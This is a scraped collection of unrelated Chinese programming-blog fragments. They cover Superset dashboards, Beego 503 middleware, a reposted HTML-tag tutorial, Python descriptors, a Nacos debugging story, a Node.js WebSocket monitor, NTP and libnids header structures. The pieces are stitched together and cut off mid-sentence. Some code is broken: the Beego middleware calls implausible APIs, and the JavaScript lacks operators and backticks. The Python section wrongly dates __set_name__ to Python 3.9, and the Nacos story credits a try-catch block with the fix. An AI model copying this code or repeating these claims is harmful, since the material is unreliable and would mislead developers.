选择一个时间序列数据集，创建一个折线图来展示销售额的变化趋势。 2. 加入产品类别占比 使用饼图来显示不同类别产品的销售占比。 3. 实时监控库存 创建一个条形图来展示当前各仓库的库存量。 4. 用户行为分析 添加一个表格来列出最近几天内活跃用户的详细信息。 完成上述步骤后，你就得到了一个全面且直观的销售监控仪表板。有了这个仪表板，你就能随时了解公司的情况，做出快速的决定啦！ 五、总结与展望 经过一番探索，我相信大家都已经被Superset的魅力所吸引了吧？作为一款开源的数据可视化工具，它不仅功能强大、易用性强，而且拥有广泛的社区支持。无论你是想快速生成报告，还是深入分析数据，Superset都能满足你的需求。 当然，随着技术的发展，Superset也在不断地更新和完善。未来的日子，我们会看到更多酷炫的新功能被加入进来，让数据可视化变得更简单好玩儿！所以，赶紧试试看吧！相信Superset会给你带来意想不到的惊喜！ --- 这就是我今天分享的内容啦，希望大家喜欢。如果你有任何问题或想法，欢迎留言讨论哦！

...in() { // 初始化并启动Beego应用 app := new(beego.AppConfig) app.Run(":8080") } 在上述代码中，通过log.SetLevel(log.DEBUG)设置日志级别为DEBUG，确保在发生错误时能够获取到足够的信息进行诊断。 四、处理服务不可用错误 当检测到服务不可用错误时，Beego允许开发者通过自定义中间件来响应这些异常情况。通过创建一个中间件函数，可以优雅地处理503错误，并向用户呈现友好的提示信息，例如重试机制、缓存策略或简单的等待页面。 示例代码： go // 定义一个中间件函数处理503错误 func errorMiddleware(c beego.Context) { if c.Ctx.Input.StatusCode() == 503 { c.Data["Status"] = "503 Service Unavailable" c.Data["Message"] = "Sorry, our service is currently unavailable. Please try again later." c.ServeContent("error.html", http.StatusOK) } else { c.Next() } } // 注册中间件 func init() { beego.GlobalControllerInterceptors = append(beego.GlobalControllerInterceptors, new(errorMiddleware)) } 这段代码展示了如何在Beego应用中注册一个全局中间件，用于捕获并处理503状态码。哎呀，你遇到服务挂了的情况了吧？别急，这个中间件挺贴心的，它会给你弹出个温馨的小提示，告诉你：“嘿，稍等一下，我们正忙着处理一些事情呢。”然后，它还会给你展示一个等待页面，上面可能有好看的动画或者有趣的图片，让你在等待的时候也不觉得无聊。这样，你就不会因为服务暂时不可用了而感到烦躁了，体验感大大提升！ 五、优化与预防服务不可用 预防服务不可用的关键在于资源管理、负载均衡以及监控系统的建立。Beego虽然本身不直接涉及这些问题，但可以通过集成第三方库或服务来实现。 - 资源管理：合理分配和监控CPU、内存、磁盘空间等资源，避免过度消耗导致服务不可用。 - 负载均衡：利用Nginx、HAProxy等工具对流量进行分发，减轻单点压力。 - 监控系统：使用Prometheus、Grafana等工具实时监控应用性能和资源使用情况，及时发现潜在问题。 六、结论 服务不可用是Web应用中不可避免的一部分，但通过使用Beego框架的特性，结合适当的策略和实践，可以有效地识别、诊断和解决这类问题。嘿，兄弟！想做个靠谱的Web应用吗？那可得注意了，你得时刻盯着点，别让你的应用出岔子。得给资源好好规划规划，别让服务器喘不过气来。还有，万一哪天程序出错了，你得有个应对的机制，别让小问题搞大了。这三样，监控、资源管理和错误处理，可是你稳定可靠的三大法宝！别忘了它们，你的应用才能健健康康地跑起来！

...不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 1.简要说一下CSS的元素分类 块级元素：div,p,h1,form,ul,li; 行内元素 : span,a,label,input,img,strong,em; <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><em>强调文本</em><br><strong>加粗文本</strong><br><dfn>定义项目</dfn><br><code>一段电脑代码</code><br><samp>计算机样本</samp><br><kbd>键盘输入</kbd><br><var>变量</var></body></html 2、HTML <audio> 标签 <audio> 标签是 HTML5 提供的用来播放音频文件的。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><audio controls><source src="/statics/demosource/horse.ogg" ><source src="/statics/demosource/horse.mp3" >您的浏览器不支持 audio 元素。</audio></body></html> 3、HTML <area> 标签 <area> 标签可以在图像上划分区域，这些区域是可以点击的，并且对应不同的操作。 <!DOCTYPE html><html><head><meta charset="utf-8"><title>W3Cschool(w3cschool.cn)</title></head><body><p>点击太阳或其他行星，注意变化：</p><img src="/statics/images/course/planets.gif" width="145" height="126" alt="Planets" usemap="planetmap"><map name="planetmap"><area shape="rect" coords="0,0,82,126" target="_blank" alt="Sun" href="/statics/images/course/sun.gif"><area shape="circle" coords="90,58,3" target="_blank" alt="Mercury" href="/statics/images/course/merglobe.gif"><area shape="circle" coords="124,58,8" target="_blank" alt="Venus" href="/statics/images/course/venglobe.gif"></map></body></html> 4、HTML <select> 标签定义及使用说明 <select> 元素用来创建下拉列表。 <!DOCTYPE html><html><head><meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><select><option value="volvo" style="display:none">Volvo</option><option value="saab">Saab</option><option value="opel">Opel</option><option value="audi">Audi</option></select></body></html> 5、HTML <style> 标签 <style> 标签包含了 HTML 文档的样式详细，在默认情况下，在该元素内写入的样式指令将被认为是CSS。 <!DOCTYPE html><html><head><meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title><style type="text/css">h1 {color:red;}p {color:blue;}</style></head><body><h1>这是一个标题</h1><p>这是一个段落。</p></body></html> 7、HTML <sub> 标签 包含在 _{标签和其结束标签} 中的内容会以正常内容的一半的高度显示在下方，而且通常较小，请参见下述例子： <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool教程(w3cschool.cn)</title> </head><body><p>这个文本包含 _下标文本。</p><p>这个文本包含 ^上标 文本。</p></body></html> 8、HTML <summary> 标签 <summary> 标签元素作为一个<datails>元素的标题，该标题可以包含详细的信息，但是默认情况下不显示，需要单击才能显示详细信息，请参考下述示 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><details><summary>Copyright 1999-2011.</summary><p> - by Refsnes Data. All Rights Reserved.</p><p>All content and graphics on this web site are the property of the company Refsnes Data.</p></details><p><b>注意：</b>目前只有 Chrome 和 Safari 6 支持 summary 标签。</p></body></html> 9、HTML <table> 标签 <table> 标签用来定义 HTML 表格，一个简单的 HTML 表格应该包括两行两列，如下述示例所示： <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool教程(w3cschool.cn)</title> </head><body><table border="1"><tr><th>Month</th><th>Savings</th></tr><tr><td>January</td><td>$100</td></tr><tr><td>February</td><td>$80</td></tr></table></body></html> 10、HTML <textarea> 标签 <textarea> 标签表示多行纯文本编辑控件，用户可在其文本区域中写入文本，请参考下述示例： <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool 在线教程(w3cschool.cn)</title> </head><body><textarea rows="10" cols="30">我是一个文本框。</textarea></body></html> 11、HTML <tt> 标签 - HTML5 不支持 <tt> 标签用来改变字体样式，使标签中的文本显示为打字机文本，请参考下述例子： <!DOCTYPE html><html><body><p>This text is normal.</p><p><tt>This text is teletype text.</tt></p></body></html> 12、HTML <u> 标签 <u> 标签可以用来对标签内的文本实现下划线样式，请参考下述示例： <!DOCTYPE html><html><body><p>This is a <u>parragraph</u>.</p></body></html> 13、HTML <ul> 标签 <ul> 标签表示HTML页面中项目的无序列表，一般会以项目符号列表呈现，请参考下述例子： <!DOCTYPE html><html><head><meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><h4>无序列表:</h4><ul><li>咖啡</li><li>茶</li><li>牛奶</li></ul></body></html> 14、HTML <video> 标签 <video> 标签可以将视频内容嵌入到HTML文档中，请参考下述示例： <!DOCTYPE html><html><body><video width="320" height="240" controls><source src="/statics/demosource/movie.mp4" type="video/mp4"><source src="/statics/demosource/movie.ogg" type="video/ogg">您的浏览器不支持 HTML5 video 标签。</video></body></html> 15、HTML <ol> 标签 <ol> 标签在 HTML 中表示有序列表，是 ordered lists 的缩写。您可以自定义有序列表的初始序号，请参考下面的实例： <!DOCTYPE html><html><head><meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body>​<ol><li>咖啡</li><li>茶</li><li>牛奶</li></ol>​<ol start="50"><li>咖啡</li><li>茶</li><li>牛奶</li></ol></body></html> 16、HTML <noframes> 标签HTML5不支持该标签 <noframes> 标签用于支持不支持 <frame> 元素的浏览器，请参考下面的示例： <html><head><meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><frameset cols="25%,50%,25%"><frame src="/statics/demosource/frame_a.htm"><frame src="/statics/demosource/frame_b.htm"><frame src="/statics/demosource/frame_c.htm"><noframes>抱歉，您的浏览器不支持 frame 属性！</noframes></frameset></html> 17、HTML <hr> 标签 <hr> 标签表示段落级元素之间的主题划分。例如，在下面的实例中我们对具有主题变化的内容使用了 <hr> 标签： <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><h1>HTML</h1><p>HTML 是用于描述 web 页面的一种语言。</p><hr><h1>CSS</h1><p>CSS 定义如何显示 HTML 元素。</p></body></html> 18、HTML <h1> - <h6> 标签 <h1> - <h6> 标签用来定义 HTML 标题，表示了 HTML 网页中六个级别的标题。您可以通过下面的这个实例来看看每个级别的标题有什么区别： <!DOCTYPE html><html><head><meta charset="utf-8"><title>W3Cschool(w3cschool.cn)</title></head><body><h1>这是标题1</h1><h2>这是标题2</h2><h3>这是标题 3</h3><h4>这是标题 4</h4><h5>这是标题 5</h5><h6>这是标题 6</h6></body></html> 19、HTML <center> 标签 - HTML 5 不支持 <center> 标签控制文本的居中显示，不能在 HTML5 中使用。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><p>这是一些文本。</p><center>这个文本居中对齐。</center><p>这是一些文本</p></body></html> 20、HTML <button> 标签 <button> 标签用来设置 HTML 中的按钮。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><button type="button" onclick="alert('Hello world!')">Click Me!</button></body></html> 21、HTML <br> 标签 <br> 标签是空标签，可插入一个简单的换行符。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><p>使用br元素<br>在文本中<br>换行。</p></body></html> 22、HTML <dt> 标签 <dt> 标签只能够作为 <dl> 标签的一个子元素出现，常常后跟一个 <dd> 标签。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><dl><dt>咖啡</dt><dd>黑色的热饮</dd><dt>牛奶</dt><dd>白色的冷饮</dd></dl></body></html> 23、HTML <fieldset> 标签 <fieldset> 标签内的一组表单元素会在 WEB 浏览器中以特殊的方式显示，比如不同样式的边界、3D效果等。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><form><fieldset><legend>个人信息:</legend>姓名: <input type="text"><br>邮箱: <input type="text"><br>生日: <input type="text"></fieldset></form></body></html> 24、HTML <embed> 标签 <embed> 标签用来定义在页面中嵌入的内容，比如插件。比如，在下面的实例中我们嵌入了一个 flash 动画： <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><embed src="/statics/demosource/helloworld.swf" tppabs="http://W3Cschool.com/tags/helloworld.swf"></body></html> 25、HTML <font> 标签 - HTML5 不支持 <font> 标签的使用示例如下所示，该标签已经过时，因此我们不建议您使用该标签。 <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><p><font size="3" color="red">这是一些文本！</font></p><p><font size="2" color="blue">这是一些文本！</font></p><p><font face="verdana" color="green">这是一些文本！</font></p></body></html> 26、HTML <label> 标签 <label> 标签是一种常见的表单控件，触发对应表单控件功能，让用户在使用表单的时候能够有更好的体验。参考下述的实例： <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>W3Cschool(w3cschool.cn)</title> </head><body><p>点击其中一个文本标签选中选项：</p><form action="/statics/demosource/demo-form.php"><label for="male">Male</label><input type="radio" name="sex" id="male" value="male"><br><label for="female">Female</label><input type="radio" name="sex" id="female" value="female"><br><br><input type="submit" value="提交"></form></body></html> 记录一些重要标签！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/chehec2010/article/details/85060460。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...优化展开了许多讨论和实践。 例如，在Django框架的2.2版本中，开发者更加广泛地运用描述符来实现模型字段的动态行为，如django.db.models.fields.files.FieldFile就是利用描述符实现文件字段的上传、下载及删除等功能。此外，针对数据验证和业务逻辑封装，一些高级ORM库也引入了自定义描述符设计模式，以提供更为灵活且安全的数据访问控制。 另一方面，Python 3.9引入了新的__set_name__方法，该方法适用于描述符对象，以便在描述符被绑定到类属性时通知其宿主类和名称，为描述符提供了更多的上下文信息，增强了其在复杂场景下的适用性和可读性。 同时，随着Python异步编程的发展，一些库也开始尝试将描述符应用于异步环境，比如通过实现异步描述符来控制异步属性的获取和设置，确保在处理并发请求时能够遵循正确的执行顺序，从而提高程序性能和稳定性。 综上所述，描述符作为Python面向对象编程的核心技术之一，其应用正不断拓展深化，并随着Python语言的演进保持着极高的时效性和实用性。对于开发者而言，掌握并合理运用描述符机制不仅能提升代码质量，还能有效应对各种复杂的业务场景需求。

...阿里巴巴的Nacos作为配置中心。哎呀，本来事情都挺顺的，结果有一天突然发现一个服务启动的时候，Nacos居然找不到配置文件了！我当时那个慌啊，心一下子提到了嗓子眼儿。 “不可能啊，之前都好好的，怎么今天就出问题了呢？”我心里嘀咕着。于是我赶紧翻看日志，发现报了一个错：“Config file not found in Nacos”。这下脑子更乱了，心里直嘀咕：“完啦，Nacos服务器该不会是罢工了吧？” 一想到这儿，赶紧三步并作两步跑去查看Nacos的状态，结果一看，嘿，人家还挺精神地在那里工作呢！ “不对劲啊，难道是我自己的代码出了问题？”我开始怀疑自己是不是哪里写错了。为了验证这个假设，我先尝试重启服务，但还是不行。然后我又跑到Nacos的配置管理页面瞅了一眼，嘿，发现配置文件确实已经上传成功了，路径啥的一点问题都没有，挺顺利的！这让我更加困惑了。 “真是奇怪，到底是哪里出问题了呢？”我决定一步步排查这个问题。 --- 二、初步排查 配置路径和权限 首先，我想到的第一个可能性就是配置路径的问题。其实 Nacos 是靠路径来找配置文件的，要是路径搞错了，那它就压根找不到文件，更别提读出来了。 我打开代码，仔细检查了Nacos客户端的初始化部分： java NacosConfigService configService = NacosFactory.createConfigService("http://localhost:8848"); 这段代码看起来没问题啊，路径明明指向的是本地的Nacos服务器。而且我之前测试的时候也是这么写的，一直都没问题。 “会不会是配置路径格式变了？”我又重新检查了一遍Nacos的配置管理页面，确认路径确实正确无误。然后我又检查了权限设置，确保服务有权限访问这些配置。 “权限应该没问题吧，毕竟之前都好好的。”我自言自语道。不过嘛，我总觉得不放心，就随手叫上咱们的运维小伙伴帮我看了一下Nacos服务端的配置权限。没想到一看还真发现了点小问题，仔细一排查才发现权限其实没啥大事儿，一切正常！ “看来不是路径和权限的问题，那问题到底出在哪呢？”我有点沮丧，但还是不死心，继续往下查。 --- 三、深入排查 网络连接与超时设置 接下来，我开始怀疑是不是网络连接出了问题。毕竟Nacos是基于网络通信的，如果网络不通畅，那自然会导致读取失败。 我先检查了Nacos服务端的日志，发现并没有什么异常。再瞧瞧服务端的那个监听端口，嘿，8848端口不仅开着呢，而且服务还稳稳地在跑着，一点问题没有！ “难道是客户端的网络问题？”我心中一动，赶紧查看了服务端的防火墙规则，确认没有阻断任何请求。接着我又尝试ping了一下Nacos服务端的IP地址，结果发现网络连通性很好。 “网络应该没问题啊，那会不会是超时时间设置得太短了？”我灵机一动，想到之前在其他项目中遇到过类似的问题，可能是客户端等待响应的时间太短，导致请求超时。 于是我修改了Nacos客户端的配置，增加了超时时间： java Properties properties = new Properties(); properties.put(PropertyKeyConst.SERVER_ADDR, "localhost:8848"); properties.put(PropertyKeyConst.CONNECT_TIMEOUT_MS, "5000"); // 增加到5秒 NacosConfigService configService = NacosFactory.createConfigService(properties); 重新启动服务后，问题依然存在。看来超时时间也不是主要原因。 “真是搞不懂啊，难道是Nacos本身的问题？”我有些泄气，但还是决定继续深挖下去。 --- 四、终极排查 代码逻辑与异常处理 最后，我决定从代码逻辑入手，看看是不是程序内部的某些逻辑出了问题。于是我打开了Nacos客户端的源码，开始逐行分析。 在Nacos客户端的实现中，有一个方法是用来获取配置的： java String content = configService.getConfig(dataId, group, timeoutMs); 我仔细检查了这个方法的调用点，发现它是在服务启动时被调用的。你瞧，服务一启动呢，就会加载一堆东西，像数据库连接池啦，缓存配置啦，各种各样的“装备”都得准备好，这样它才能顺利开工干活呀！ “会不会是某个配置项的加载顺序影响了Nacos的读取？”我突然想到这一点。我琢磨着这事儿，干脆把所有的配置加载顺序仔仔细细捋了一遍，就为了确保Nacos的配置能在服务刚启动的时候就给安排上，别拖到后面出了幺蛾子。 同时，我还加强了异常处理逻辑，给Nacos的读取操作加上了try-catch块，以便捕获具体的异常信息： java try { String content = configService.getConfig(dataId, group, timeoutMs); System.out.println("Config loaded successfully: " + content); } catch (NacosException e) { System.err.println("Failed to load config: " + e.getMessage()); } 经过一番调整后，我再次启动服务，终于看到了一条令人振奋的消息：“Config loaded successfully”。 “太好了！”我长舒一口气，“原来问题就出在这里啊。” --- 五、总结与感悟 经过这次折腾，我对Nacos有了更深的理解。Nacos这东西确实挺牛的，是个超棒的配置管理工具，但用着用着你会发现，它也不是完美无缺的，各种小问题啊、坑啊，时不时就冒出来折腾你一下。其实吧，这些问题真不一定是Nacos自己惹的祸，八成是咱们的代码写得有点问题，或者是环境配错了，带偏了Nacos。 “其实啊，调试的过程就像侦探破案一样，需要耐心和细心。我坐在电脑前忍不住感慨：“哎，有时候觉得这问题看起来平平无奇的，可谁知道背后可能藏着啥惊天大秘密呢！”” 总之，这次经历让我明白了一个道理：遇到问题不要慌，要冷静分析，逐步排查。只有这样，才能找到问题的根本原因，解决问题。希望我的经验能对大家有所帮助，如果有类似的问题，不妨按照这个思路试试看！

...这事儿我琢磨了好久。作为一个前端开发爱好者，我一直对“实时”这个概念特别着迷。比如说，你点开一个网页，嚯！服务器跑得怎么样、数据库忙不忙，这些事儿一下子就清清楚楚地摆在眼前，还能隔空摆弄一下设备呢！这感觉，简直爽到飞起有木有？ 但问题是，要实现这种功能并不简单。想象一下，以前我们用老式的网页加载方式，就像打电话问朋友“嘿，有啥新鲜事儿没？”然后挂掉电话等对方回拨告诉你答案。问题是，如果你想知道最新消息，就得一直重复这个过程——不停地挂电话再拨号，也就是不停刷新页面，才能看到有没有新东西蹦出来。这显然不是最优解。而 WebSocket 就不一样了，它是一种全双工通信协议，可以让客户端和服务端随时互相推送消息，简直是实时应用的最佳拍档！ 说到 Node.js，它天生就擅长处理异步事件流，再加上强大的生态系统（比如 Express、Socket.IO 等），简直就是为实时应用量身定制的工具。所以，今天我们就用 Node.js + WebSocket 来做一个简单的实时监控面板，顺便分享一下我的一些心得。 --- 2. 第一步 搭建基础环境 首先，我们需要准备开发环境。Node.js 的安装非常简单，去官网下载对应版本就行。安装完后，用 node -v 和 npm -v 验证是否成功。如果这两个命令都能正常输出版本号，那就说明环境配置好了。 接下来，我们创建项目文件夹，并初始化 npm： bash mkdir real-time-monitor cd real-time-monitor npm init -y 然后安装必要的依赖包。这里我们用到两个核心库：Express 和 ws（WebSocket 库）。Express 是用来搭建 HTTP 服务的，ws 则专门用于 WebSocket 通信。 bash npm install express ws 接下来，我们写一个最基础的 HTTP 服务，确保环境能正常工作： javascript // server.js const express = require('express'); const app = express(); app.get('/', (req, res) => { res.send('Hello World!'); }); const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(Server is running on port ${PORT}); }); 保存文件后运行 node server.js，然后在浏览器输入 http://localhost:3000，应该能看到 “Hello World!”。到这里，我们的基本框架已经搭好了，是不是感觉还挺容易的？ --- 3. 第二步 引入 WebSocket 现在我们有了一个 HTTP 服务，接下来该让 WebSocket 上场了。WebSocket 的好处就是能在浏览器和服务器之间直接搭起一条“高速公路”，不用老是像发短信那样频繁地丢 HTTP 请求过去，省时又高效！为了方便，我们可以直接用 ws 库来实现。 修改 server.js 文件，添加 WebSocket 相关代码： javascript // server.js const express = require('express'); const WebSocket = require('ws'); const app = express(); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', (ws) => { console.log('A client connected!'); // 接收来自客户端的消息 ws.on('message', (message) => { console.log(Received message => ${message}); ws.send(You said: ${message}); }); // 当客户端断开时触发 ws.on('close', () => { console.log('Client disconnected.'); }); }); app.get('/', (req, res) => { res.sendFile(__dirname + '/index.html'); }); const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(HTTP Server is running on port ${PORT}); }); 这段代码做了几件事： 1. 创建了一个 WebSocket 服务器，监听端口 8080。 2. 当客户端连接时，打印日志并等待消息。 3. 收到消息后，会回传给客户端。 4. 如果客户端断开连接，也会记录日志。 为了让浏览器能连接到 WebSocket 服务器，我们还需要一个简单的 HTML 页面作为客户端入口： html Real-Time Monitor WebSocket Test Send Message 这段 HTML 代码包含了一个简单的聊天界面，用户可以在输入框中输入内容并通过 WebSocket 发送到服务器，同时也能接收到服务器返回的信息。跑完 node server.js 之后，别忘了打开浏览器，去 http://localhost:3000 看一眼，看看它是不是能正常转起来。 --- 4. 第三步 扩展功能——实时监控数据 现在我们的 WebSocket 已经可以正常工作了，但还不能算是一个真正的监控面板。为了让它更实用一点，咱们不妨假装弄点监控数据玩玩，像CPU用得多不多、内存占了百分之多少之类的。 首先，我们需要一个生成随机监控数据的函数： javascript function generateRandomMetrics() { return { cpuUsage: Math.random() 100, memoryUsage: Math.random() 100, diskUsage: Math.random() 100 }; } 然后，在 WebSocket 连接中定时向客户端推送这些数据： javascript wss.on('connection', (ws) => { console.log('A client connected!'); setInterval(() => { const metrics = generateRandomMetrics(); ws.send(JSON.stringify(metrics)); }, 1000); // 每秒发送一次 ws.on('close', () => { console.log('Client disconnected.'); }); }); 客户端需要解析接收到的数据，并动态更新页面上的信息。我们可以稍微改造一下 HTML 和 JavaScript： html CPU Usage: Memory Usage: Disk Usage: javascript socket.onmessage = (event) => { const metrics = JSON.parse(event.data); document.getElementById('cpuProgress').value = metrics.cpuUsage; document.getElementById('memoryProgress').value = metrics.memoryUsage; document.getElementById('diskProgress').value = metrics.diskUsage; const messagesDiv = document.getElementById('messages'); messagesDiv.innerHTML += Metrics updated. ; }; 这样，每秒钟都会从服务器获取一次监控数据，并在页面上以进度条的形式展示出来。是不是很酷？ --- 5. 结尾 总结与展望 通过这篇文章，我们从零开始搭建了一个基于 Node.js 和 WebSocket 的实时监控面板。别看它现在功能挺朴素的，但这东西一出手就让人觉得，WebSocket 在实时互动这块儿真的大有可为啊！嘿，听我说！以后啊，你完全可以接着把这个项目捯饬得更酷一些。比如说，弄点新鲜玩意儿当监控指标，让用户用起来更爽，或者直接把它整到真正的生产环境里去，让它发挥大作用！ 其实开发的过程就像拼图一样，有时候你会遇到困难，但只要一点点尝试和调整，总会找到答案。希望这篇文章能给你带来灵感，也欢迎你在评论区分享你的想法和经验！ 最后，如果你觉得这篇文章对你有帮助，记得点个赞哦！😄 --- 完

...动时会从硬件时间获取初始值，之后以CPU时钟为基础独立运行。两者可通过特定命令（如hwclock和date）相互同步。 NTP服务 , NTP服务代表网络时间协议服务，它负责提供时间同步功能给网络中的客户端。在一个组织的局域网环境中，通常需要部署一台或多台NTP服务器来作为整个网络的时间基准源。这些服务器定期与其他更高级别的权威时间源同步，并为网络内的其他计算机、服务器和设备提供时间同步服务，以确保整个网络环境中的所有设备时间保持一致，这对于分布式计算、日志分析、事务处理等场景至关重要。在本文的语境下，由于机器只能访问局域网，所以必须确保局域网内部有可用的NTP服务器以供各设备校准时间使用。

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TCP_ESTABLISHED TCP 连接建立 , 开始传输数据 TCP_SYN_SEND 主动打开 TCP_SYN_RECV 接受 SYN TCP_FIN_WAIT1 TCP_FIN_WAIT2 TCP_TIME_WAIT TCP_CLOSE TCP_CLOSE_WAIT TCP_LAST_ACK TCP_LISTEN TCP_CLOSING / define NIDS_JUST_EST 1 / 表示 TCP 连接建立 , 在此状态下就可以决定是否对此TCP 连接进行数据分析 , 可以决定是否捕获 TCP客户端接收的数据 ,TCP 服务端接收的数据 ,TCP 客户端接收的紧急数据或者TCP 客户端接收的紧急数据 / define NIDS_DATA 2 / 表示接收数据的状态 ,在这个状态可以判断是否有新的数据到达 ,如果有就可以把数据存储起来 , 可以在这个状态之中来分析 TCP 传输的数据 , 此数据就存储在half_stream 数据接口的缓存之中/ define NIDS_CLOSE 3 / 表示 TCP 连接正常关闭 / define NIDS_RESET 4 / 表是 TCP 连接被重置关闭 / define NIDS_TIMED_OUT 5 / 表示由于超时 TCP连接被关闭 / define NIDS_EXITING 6 / 表示 Libnids正在退出 , 在这个状态下可以最后一次使用存储在 half_stream 数据结构中的缓存数据 / / 校验和 / define NIDS_DO_CHKSUM 0 / 表示告诉 Libnids要计算校验和 / define NIDS_DONT_CHKSUM 1 / 表示告诉 Libnids不要计算校验和 / struct tuple4 / 描述一个地址端口对 , 它表示发送发IP 和端口以及接收方 IP 和端口 , 适用 TCP,UDP/ { u_short source; / 源 IP 地址的端口号/ u_short dest; / 目的 IP 地址的端口号/ u_int saddr; / 源 IP 地址 / u_int daddr; / 目的 IP 地址 / }; struct half_stream / 描述在 TCP 连接中一端的所有信息, 可以是客户端 , 也可以是服务端 / { char state; / 表示套接字的状态 , 也就是TCP 的状态 / char collect; / 可以表示有数据到达 , 此数据存放在data 成员中 , 也可以表示不存储此数据到 data中 , 此数据忽略 . 如果大于0 就存储 , 否则就忽略 / char collect_urg; / 可以表示有紧急数据到达 , 此数据就存放在urgdata 中 , 也可以表示不存储此数据到 urgdata中 , 此速数据忽略 . 如果大于0 就存储 , 否则就忽略 / char data; / 用户存储正常接受到的数据 / int offset; / 表示存储在 data 中数据的第一个字节的偏移量/ int count; / 表示从 TCP 连接开始已经存储到data 中的数据的字节数 / int count_new; / 有多少新的数据存储到 data 中, 如果为 0, 则表示没有新的数据到达 / int bufsize; int rmem_alloc; int urg_count; / 用来存储紧急数据 / u_int acked; u_int seq; u_int ack_seq; u_int first_data_seq; u_char urgdata; //存储紧急数据 u_char count_new_urg; / 表示有新的紧急数据到达 , 如果为0 表示没有新的紧急数据 / u_char urg_seen; //新的urg数据，不是以前重复的数据 u_int urg_ptr;/指向urg在流中的位置/ u_short window; u_char ts_on; u_char wscale_on; u_int curr_ts; u_int wscale; struct skbuff list; struct skbuff listtail; }; struct tcp_stream / 描述一个 TCP 连接的所有信息/ { struct tuple4 addr; char nids_state; struct lurker_node listeners; struct half_stream client; / 表示客户端信息 / struct half_stream server; / 表示服务端信息 / struct tcp_stream next_node; struct tcp_stream prev_node; int hash_index; struct tcp_stream next_time; struct tcp_stream prev_time; int read; struct tcp_stream next_free; }; struct nids_prm / 描述了 Libnids 的一些全局参数信息/ { int n_tcp_streams; / 表示哈西表大小 , 此哈西表用来存放tcp_stream 数据结构 , 默认值 1040.在同一时刻 Libnids 捕获的 TCP 数据包的最大个数必须是此参数值的3/4/ int n_hosts; / 表示哈西表的大小 , 此哈西表用来存储IP 碎片信息的 , 默认值为 256/ char device; / 表示网络接口 ,Libnids 将在此网络接口上捕获数据, 默认值为 NULL. 这样 Libnids将使用 pcap_lookupdev来查找可以用的网络接口 . 如果其值为 all, 表示捕获所有网络接口的数据/ char filename; / 表示用来存储网络数据的捕获文件 , 此文件的类型必须与 Libpcap 类型一致 , 如果设置了文件, 与此同时就应该设置 device 为 NULL,默认值为 NULL/ int sk_buff_size; / 表示的是数据接口 sk_buff 的大小 .sk_buff 是Linux 内核中一个重要的数据结构, 是用来进行数据包排队操作的 , 默认值为 168/ int dev_addon; / 表示在数据结构 sk_buff 中用于网络接口上信息的字节数. 如果是 -1( 默认值 ),那么 Libnids 会根据不同的网络接口进行修正 / void (syslog) (); / 是一个函数指针 , 默认值为nids_syslog() 函数 . 在 syslog函数中可以检测入侵攻击 , 如网络扫描攻击 , 也可以检测一些异常情况, 如无效 TCP 标记 / int syslog_level; / 表示日志等级 , 默认值是LOG_ALERT/ int scan_num_hosts; / 表示一个哈西表的大小 ,( 此哈西表用来存储端口扫描信息) 表示 Libnids 将要检测的同时扫描的端口数据 . 如果其值为 0,Libnids将不提供端口扫描功能 . 默认值 256/ int scan_delay; / 表示在扫描检测中 , 俩端口扫描的间隔时间, 以毫秒来计算 , 缺省值为 3000/ int scan_num_ports; / 表示相同源地址必须扫描的 TCP 端口数目 , 默认值为10/ void (no_mem) (char ); / 是一个函数指针 , 当Libnids 发生内存溢出时被调用/ int (ip_filter) (); / 是一个函数指针 , 此函数可以用来分析IP 数据包 , 当有 IP 数据包到达时 , 此函数就被调用. 如果此函数返回非零值 , 此数据包就被处理 ;如果返回零 , 此 IP 数据包就被丢弃. 默认值为 nids_ip_filter 函数 , 总是返回 1./ char pcap_filter; / 表示过滤规则 , 即Libpcap 的过滤规则 , 默认值为 NULL,表示捕获所有数据包 . 可以在此设置过滤规则 , 只捕获感兴趣的开发包/ int promisc; / 表示网卡模式 , 如果是非零, 就把此网卡设置为混杂模式 ; 否则 , 设为非混杂模式 . 默认值为1/ int one_loop_less; / 初始值为 0/ int pcap_timeout; / 表示捕获数据返回的时间 , 以毫秒计算. 实际上它表示的就是 Libpcap 函数中的 pcap_open_live函数的 timeout 参数 , 默认值 1024/ }; / 返回值 : 